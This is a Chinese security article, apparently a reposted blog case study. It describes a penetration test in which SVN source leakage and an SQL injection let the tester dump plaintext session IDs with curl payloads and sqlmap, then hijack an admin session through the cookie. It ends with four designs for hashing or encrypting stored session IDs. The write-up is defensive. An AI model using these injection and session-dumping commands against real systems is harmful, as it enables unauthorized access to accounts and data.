安全开发-会话劫持之会话ID加密存储

admin 2025-12-31 01:02:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文通过案例分析了SQL注入窃取明文SessionID引发的会话劫持风险。文章提出了哈希存储、加盐哈希、复合键绑定及对称加密四种方案,强调应对SessionID加密存储以切断攻击链路。该设计即使数据库泄露也能有效保障会话安全,防止未授权访问。 综合评分: 89 文章分类: 代码审计,安全开发,渗透测试,漏洞分析,WEB安全


cover_image

安全开发-会话劫持之会话ID加密存储

sec0nd安全

2025年12月29日 22:38 北京

以下文章来源于青松阁主 ,作者汤青松

青松阁主 .

关注我,及时收取你遇到的问题

一、背景

Web 系统的会话一般通过 Cookie 存 Session ID维持,服务器用 ID 找对应会话数据,一般Session 数据存成服务器本地文件,文件名对应 Session ID。 考虑到负载均衡情况下 Session 会存到 MySQL/Redis 数据库里;

在设计的时候要对SessionID进行加密,不然遇到SQL 注入漏洞攻击者就能直接查 Session 表拿到有效 ID,伪造会话后能未经授权访问系统,这篇文章里我会讲解一个攻防演练案例,来说明会话ID加密存储的重要性。

求职中工作, 微信 songboy8888

二、漏洞案例

2.1 渗透受阻

渗透测试目标系统用 PHP + MySQL 技术栈,对管理员登录界面测试没有突破成功:

  • 登录爆破尝试失败:登录页面配备图形验证码(每次请求自动刷新),且错误登录 5 次后会锁定 IP 30 分钟;密码错误时仅返回统一模糊提示“用户名或密码错误”,无法通过响应差异枚举有效用户名。
  • 其他入口探测无果:尝试 /admin、/wp-admin 等默认后台路径均返回 404;目录扫描发现 robots.txt,但内容为空;子域名枚举未发现测试环境或备份站点。

2.2 源代码泄露

资源的深度扫描中,发现网站线上环境残留 SVN 版本控制目录,通过.svn路径获取到关键信息:

https://target.com/.svn/entries https://target.com/.svn/wc.db

知道有 SVN 信息泄露漏洞之后,做了两件事:

  1. 下载完整源代码:通过 svn checkout https://target.com/.svn/ 命令获取项目全部代码;
  2. 梳理项目结构:找核心目录与文件,包括控制器(UserController.php、AdminController.php)、模型(UserModel.php、SessionModel.php)及数据库配置文件(config/database.php)。

2.3 代码审计

对源代码的定向审计,发现两个安全问题,给攻击提供了突破口:

2.3.1 存在SQL注入

UserController.php 里的 getUserProfile 方法存在 SQL 注入漏洞——直接把用户输入的 user_id 参数拼接到 SQL 查询语句中,没有做过滤和预编译处理:

public function getUserProfile($user_id) {
    // 直接拼接用户输入到SQL查询,存在严重注入风险!
    $sql = "SELECT * FROM users WHERE id = " . $_GET['user_id'];
    return $this->db->query($sql)->row();
}

2.3.2 会话存储配置暴露

config/session.php 中,看到session会话的数据,指向会话数据表名:

$config['sess_driver'] = 'database';  // 会话存储驱动:数据库
$config['sess_save_path'] = 'ci_sessions';  // 会话数据表名

2.4 窃取会话ID

发现这两个漏洞后,通过 SQL 注入漏洞实现了会话窃取与劫持,具体步骤如下:

2.4.1验证漏洞有效性

首先手动构造Payload和自动化工具验证漏洞是不是真实存在:

# 手动测试注入点:通过逻辑判断验证注入可行性
curl "https://target.com/api/user/profile?user_id=1' AND '1'='1"
curl "https://target.com/api/user/profile?user_id=1' AND '1'='2"

# 自动化探测:使用sqlmap深度验证并获取注入细节
sqlmap -u "https://target.com/api/user/profile?user_id=1" --batch --level=3

2.4.2获取数据库信息

通过 Union 注入获取目标数据库名称:

1' UNION SELECT database(),null-- -

执行结果发现数据库名是 xxx_cms_production

2.4.3枚举表结构

继续用 sqlmap 扫描目标数据库中的表,找到业务表:

sqlmap -u "https://target.com/api/user/profile?user_id=1" --tables

关键发现 3 张有用的表:

  • users:用户信息表,存储用户名、密码哈希等核心数据;
  • ci_sessions:会话表,对应前文发现的会话存储配置;
  • admin_logs:管理员操作日志表。

2.4.4尝试破解用户表

继续用 sqlmap 查询 users 表字段结构:

sqlmap -u "https://target.com/api/user/profile?user_id=1" --columns -T users

发现密码相关字段采用强哈希保护:

  • password_hash VARCHAR(255):采用 bcrypt 哈希算法;
  • salt VARCHAR(32):随机盐值。

尝试彩虹表破解,没有成功,开始向会话表寻求突破。

2.4.5会话表分析

查看 ci_sessions 表结构,会话数据存储格式:

sqlmap -u "https://target.com/api/user/profile?user_id=1" --columns -T ci_sessions

有用的字段有这几个:

  • session_id VARCHAR(128):会话 ID;
  • user_agent VARCHAR(255):客户端 User-Agent 信息;
  • ip_address VARCHAR(45):客户端 IP 地址;
  • last_activity INT(11):最后活动时间戳;
  • user_data BLOB:会话数据(包含用户 ID、权限等级等关键信息)。

2.4.6窃取会话数据

用sqlmap 导出最近 1 小时内活跃的会话数据(确保会话有效性):

sqlmap -u "https://target.com/api/user/profile?user_id=1" \
       --dump -T ci_sessions \
       --where="last_activity > UNIX_TIMESTAMP()-3600"

发现会话表中 session_id 字段是存储明文值,与用户 Cookie 中的 Session ID 一模一样,导出的有效会话数据示例:

session_id: "a3f8b7c12d9e45f6a7890b1c234d5678"
user_data: "a:3:{s:7:\"user_id\";s:1:\"1\";s:8:\"username\";s:5:\"admin\";s:5:\"group\";s:9:\"administrator\";}"
last_activity: 1625092800  # 10分钟前(会话仍有效)

2.4.7会话劫持

用窃取的会话 ID,通过修改 Cookie 值即实现未授权登录:

  1. 在浏览器中打开目标网站;
  2. 浏览器开发者工具编辑 Cookie,将 PHPSESSID 替换为窃取的 session_id;
  3. 刷新页面,直接以管理员身份登录系统,无需任何密码验证。

2.5 漏洞影响

实现权限获取,暴露后续攻击路径:

  • 核心权限控制:可以登录管理后台,查看所有用户数据并执行管理员操作;
  • 持久化访问:会话有效期有 24 小时,可以长期控制目标账户;
  • 横向移动:可以窃取其他用户的会话 ID,扩大攻击范围;
  • 权限提升:有些用户会话数据里包含隐性敏感权限,可以利用后权限提升。

三、安全设计

为防御这种会话劫持攻击,可以借鉴用户密码的哈希存储思路,对 Session ID 进行不可逆处理或加密后再存储,就算攻击者获取会话表数据,也无法得到有效的 Session ID。 4 种安全设计方案:

3.1 哈希存储

原理是客户端保留原始 Session ID,服务器端仅存储 Session ID 的哈希值,验证时通过哈希匹配确认会话有效性。

  • 客户端:正常存储原始 Session ID(如 123);
  • 服务器端存储:计算原始 Session ID 的哈希值(如 hash("sha256", "123")),仅将哈希值存入会话表;
  • 验证流程:① 从客户端 Cookie 中获取原始 Session ID;② 服务器端计算其哈希值;③ 用哈希值查询会话表,匹配则验证通过。

优势:实现简单,无需修改客户端逻辑;缺陷:若攻击者获取哈希值,可能通过彩虹表反向破解(需配合强哈希算法规避)。

3.2 哈希增强

在基础哈希方案的基础上,为每个 Session 生成独立的随机盐值(Salt),进一步提升哈希值的安全性,抵御彩虹表攻击。

// 生成会话时的处理逻辑
$session_id = generate_random_id();  // 生成原始Session ID
$salt = generate_random_salt();      // 生成随机盐值(每个Session唯一)
$hashed_id = hash('sha256', $session_id . $salt);  // 盐值拼接后哈希

// 存储逻辑:将 $hashed_id(哈希值)和 $salt(盐值)存入数据库
// 客户端Cookie:仍存储原始 $session_id

验证流程:服务器端获取原始 Session ID 后,先从会话表中查询对应盐值,再拼接计算哈希值,与存储的哈希值匹配验证。优势:盐值唯一性确保即使原始 Session ID 相同,哈希值也不同,彻底抵御彩虹表攻击。

3.3 复合键绑定

原理是将会话标识符与用户设备特征(如 User-Agent)绑定,生成复合会话密钥,即使 Session ID 泄露,跨设备也无法使用。

// 生成复合会话密钥
$user_agent_hash = substr(hash('sha256', $_SERVER['HTTP_USER_AGENT']), 0, 16);  // 提取User-Agent哈希(16位精简)
$session_key = hash('sha256', $session_id . $user_agent_hash);  // 复合密钥

// 服务器端存储:$session_key + $user_agent_hash(或直接存储复合密钥)
// 验证流程:客户端请求时,服务器端重新计算复合密钥,与存储值匹配

优势:具备设备绑定特性,进一步缩小会话泄露后的攻击范围;缺陷:用户更换浏览器、升级系统或修改 User-Agent 时,会导致会话失效(需平衡安全性与用户体验)。

3.4 对称加密存储

原理是采用对称加密算法对原始 Session ID 加密后存储,验证时仅服务器端通过密钥解密获取原始 ID——即使数据库数据完整泄露,攻击者无解密密钥也无法获取有效 Session ID。

// 存储时:加密原始Session ID
$stored_id = encrypt($session_id, $server_secret_key);  // $server_secret_key为服务器端密钥(需安全管理)

// 验证时:解密获取原始Session ID
$session_id = decrypt($stored_id, $server_secret_key);

优势:安全性最高,彻底隔离原始 Session ID 与数据库存储;缺陷:需额外管理加密密钥(密钥泄露则方案失效),加密解密过程会带来轻微性能损耗。

四、总结

会话数据库存储遇到SQL注入会引发会话劫持风险,防御手段是对会话标识符做哈希 / 加密处理,切断攻击者查会话表获有效会话ID的攻击链路,实现即便存在 SQL 注入漏洞,也能保障会话安全。

重点:

  • 算法选型:优先用 SHA-256/512 哈希、AES-256 加密;禁用 MD5、SHA-1、DES 等弱算法。
  • 密钥 / 盐值管理:密钥用环境变量或 KMS 存储,禁止硬编码;盐值需随机、唯一。
  • 性能平衡:高并发场景选 “哈希 + 动态盐”(低损耗);金融、政务等敏感系统优先 AES-256 加密(高安全)。
  • 兼容性适配:兼容现有会话机制,不修改客户端逻辑;做好会话失效后的用户引导。

日期:2025年12月29日 作者:汤青松 微信:songboy8888


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:sec0nd安全 《安全开发-会话劫持之会话ID加密存储》

评论:0   参与:  0